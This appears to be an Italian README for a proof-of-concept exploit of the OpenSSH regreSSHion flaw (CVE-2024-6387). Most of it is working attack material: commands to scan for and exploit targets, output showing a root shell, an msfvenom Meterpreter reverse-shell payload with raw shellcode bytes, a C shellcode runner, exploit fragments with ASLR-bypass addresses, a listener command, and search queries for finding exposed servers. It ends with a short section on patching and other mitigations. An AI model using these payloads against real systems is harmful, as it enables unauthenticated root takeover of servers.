Exploit proof-of-concept per CVE-2024-6387 (regreSSHion) che mira all'esecuzione remota di codice non autenticata nel server OpenSSH tramite condizione di gara nel gestore di segnali. Include scansione, sfruttamento e generazione di reverse shell.
CVE-2024-6387 - PoCNota: questo script è un prototipo rapido di PoC, ci si possono aspettare alcuni errori e bug. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilità di esecuzione di codice in remoto non autenticata nel server OpenSSH
È stata trovata una condizione di gara nel signal handler del server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH), quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore di segnali chiama varie funzioni che non sono async-signal-safe, ad esempio syslog().
Puoi trovare i dettagli tecnici qui.
Il difetto, scoperto dai ricercatori di Qualys nel May 2024, e a cui è stato assegnato l'identificativo CVE-2024-6387, è dovuto a una condizione di gara nel signal handler di sshd che consente a un attaccante remoto non autenticato di eseguire codice arbitrario come root.
"Se un client non si autentica entro LoginGraceTime secondi (120 di default), il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama varie funzioni che non sono async-signal-safe,"
"Un attaccante remoto non autenticato può sfruttare questo difetto per eseguire codice arbitrario con privilegi di root."
Requisito: ultima versione di python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestione delle patch: Applicare rapidamente le patch disponibili per OpenSSH è fondamentale per chiudere la finestra di vulnerabilità. L'applicazione tempestiva delle patch garantisce che gli exploit noti non possano essere utilizzati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.
Controllo degli accessi avanzato: Limitare l'accesso SSH tramite controlli basati sulla rete aggiunge un ulteriore livello di difesa. Questo approccio riduce al minimo l'esposizione a potenziali attaccanti limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per l'accesso sicuro può far rispettare efficacemente queste restrizioni.
Segmentazione della rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, si riduce il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con rigorosi controlli di accesso e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.
Sistemi di rilevamento delle intrusioni (IDS): L'implementazione di sistemi IDS o di prevenzione delle intrusioni (IPS) consente il monitoraggio in tempo reale del traffico di rete e dei log di sistema. Questi sistemi possono rilevare attività sospette e potenziali tentativi di sfruttamento associati alla vulnerabilità regreSSHion. Gli avvisi generati da tali sistemi consentono un'indagine e una mitigazione tempestive prima che possano verificarsi danni significativi.
Monitoraggio dei tentativi di exploit: Il monitoraggio continuo dei log di rete e di sistema è fondamentale. Cerca eventuali modelli o attività insoliti che potrebbero indicare un tentativo di sfruttare la vulnerabilità OpenSSH. Questo approccio proattivo aiuta a identificare e rispondere alle minacce prima che possano causare danni.